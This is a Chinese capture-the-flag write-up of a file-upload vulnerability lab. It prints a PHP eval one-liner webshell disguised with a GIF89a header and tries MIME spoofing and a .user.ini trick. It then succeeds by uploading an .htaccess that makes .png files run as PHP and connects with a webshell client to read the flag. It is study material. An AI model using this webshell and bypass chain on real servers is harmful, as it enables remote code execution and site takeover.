信息收集
进入靶机,是一个文件上传界面。
根据题目和界面内容,可以知道考察的是文件上传漏洞。
思路
文件上传的题目,先看看有没有前端校验。
查看一下源代码:
没有前端校验。
那我们正常上传一个一句话木马文件试一下:
//shell.php
GIF89a
<?php @eval($_POST[1]);?>
跳转到了upload.php文件下,根据回显得出我们上传失败了。
那有可能是存在MIME验证,我们把shell.php后缀名修改为png,上传并抓包修改回php,就能绕过MIME验证了。
依旧上传失败。
说明后端可能对文件后缀名或者文件内容进行了过滤。
先验证有没有过滤文件内容:
直接上传shell.png文件,如果成功上传就是没有过滤文件内容。
/var/www/html/upload/0b30fe0d446faf347661fadc83c7bb26/shell.png succesfully uploaded!
上传成功。说明没有过滤文件内容,而是后端对后缀名进行了黑名单过滤。
现在我们就知道了网站存在的过滤方式。要想执行恶意代码,有两种方法:
第一种,利用后缀名解析漏洞,上传后缀名不为php,但是会被解析为php的文件。
第二种,上传.user.ini配置文件,将我们上传的png文件的内容解析为php代码。
先尝试第一种:
fuzz测试发现基本上后缀名都被过滤了,该方法行不通。
那么用第二种方法试一下:
//.user.ini
GIF89a
auto_prepend_file=shell.png
上传文件,记得抓包修改一下MIME类型。成功上传:
Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/0b30fe0d446faf347661fadc83c7bb26/.user.ini succesfully uploaded!
但是我们上传的文件都被保存在0b30fe0d446faf347661fadc83c7bb26目录下,但是我们不能访问这个目录,而且也不知道目录下有没有php文件存在,.user.ini文件失效。
这里我们学习一个新知识点:.htaccess配置文件。
首先,这个文件只适用于Apache服务器,而这道题的环境就是Apache。
当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache
Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache
Web服务器软件所提供的额外功能和特性。
我们需要的.htaccess文件内容是这样的:
AddType application/x-httpd-php .png
意思是将同目录下的所有png文件当作php执行。
上传.htaccess文件(记得修改MIME类型):
上传成功:
Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/0b30fe0d446faf347661fadc83c7bb26/.htaccess succesfully uploaded!
访问我们之前上传的木马文件:
成功解析。
想手动POST传参进行RCE,发现执行不了。查看一下phpinfo():
发现禁用了许多函数,其中当然就包括了许多我们RCE常用的系统命令函数。
所以拿蚁剑连接一下,在根目录找到了flag:
终于得到flag。
总结
学到了新的配置文件:.htaccess文件,在之后面对Apache环境的文件上传漏洞时又多了一种应对手段。